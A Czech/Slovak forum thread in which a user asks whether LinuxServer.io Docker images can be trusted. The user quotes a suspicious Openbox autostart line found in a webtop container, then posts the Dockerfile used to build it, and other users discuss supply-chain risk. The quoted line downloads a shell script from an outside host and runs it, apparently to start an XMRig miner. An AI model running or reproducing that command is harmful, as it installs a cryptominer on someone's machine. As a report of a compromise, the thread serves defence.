Dotaz: Aká je bezpečnosť / dôveryhodnosť image z lscr.io? (Nález mineru vo Webtop)

[včera 12:34 jozosadfasdfsadf]

Zdravím vospolok,

chcel by som sa spýtať na vaše skúsenosti s oficiálnymi image z lscr.io (LinuxServer.io).

Pri offline inšpekcii (cez docker export / grep) v imidži lscr.io/linuxserver/webtop:ubuntu-kde som v systémovom autostarte našiel tento podozrivý riadok s XMRig minerom:

etc/X11/openbox/autostart:cd && curl -OL https://minio.daviduwu.ovh/public/check.sh && wget https://minio.daviduwu.ovh/public/check.sh && sh check.sh &

Chcem sa spýtať:

Stretol sa niekto s tým, že by bol oficiálny registrátor / image od LinuxServer kompromitovaný priamo z výroby?

Odpovědi

[včera 13:12 jozosadfasdfsadf]

Este aby som to uviedol na pravu mieru, nebol to priamo ten image ale tento Dockerfile:

FROM lscr.io/linuxserver/webtop:ubuntu-kde

USER root

ENV DEBIAN_FRONTEND=noninteractive

RUN apt-get update && \
    apt-get upgrade -y && \
    \
    echo "ttf-mscorefonts-installer msttcorefonts/accepted-mscorefonts-eula select true" | debconf-set-selections && \
    \
    apt-get install -y --no-install-recommends \
        ttf-mscorefonts-installer \
        fontconfig \
        fonts-dejavu \
        nicotine \
        mc \
        wget \
        mpv \
        ca-certificates && \
    \
    fc-cache -f -v && \
    systemctl mask tmpfiles && \
    \
    apt-get purge -y chromium-browser chromium && \
    \
    wget -q https://dl.google.com/linux/direct/google-chrome-stable_current_amd64.deb && \
    apt-get install -y --no-install-recommends ./google-chrome-stable_current_amd64.deb && \
    rm google-chrome-stable_current_amd64.deb && \
    \
    apt-get clean && \
    apt-get autoremove -y && \
    rm -rf /var/lib/apt/lists/* /tmp/* /var/tmp/*

Dnes som si nanovo vytvoril kontajner (zmazal som cely /var/lib/docker), uvidime ci sa to prejavi zasa..

[včera 19:35 X]

A jinak jsi normalni? Takovych generickych stranek mas plny internet. Tvoje blbost..

[dnes 11:18 jozosadfasdfsadf]

Tak povazoval som lscr.io za serioznu stranku... Ked niekto napadne tymto sposobom repozitar tvojho distra diez to bude blbost?

[dnes 11:55 alfonz]

Bohužel v dnešní době kdy i repozitáře ověřované obsahují různé zajímavé věci, tak neověřované obsahují opravdu hodně. Doporučím si opravdu dobře kontrolovat co kde používáte. Ideální stav je hodně omezit supply chain, ale to je hodně drahé, takže je jasné, že nyní budou na hodně místech.

U binárek můžete někdy použít virustotal - to však také není 100%. Já nyní se snažím opravdu hodně omezovat místa zdrojů, bohužel je to obtížné a možností jak propašovat něco někam je hodně. A asi dnes už ani nebude možné plně důvěřovat linuxové distribuce jako takové. Vtipný výsledek asi bude, že vlastně FreeBSD a jiné bsd, které mají celý zdrojový kód v repu, budou trochu více důvěryhodnější.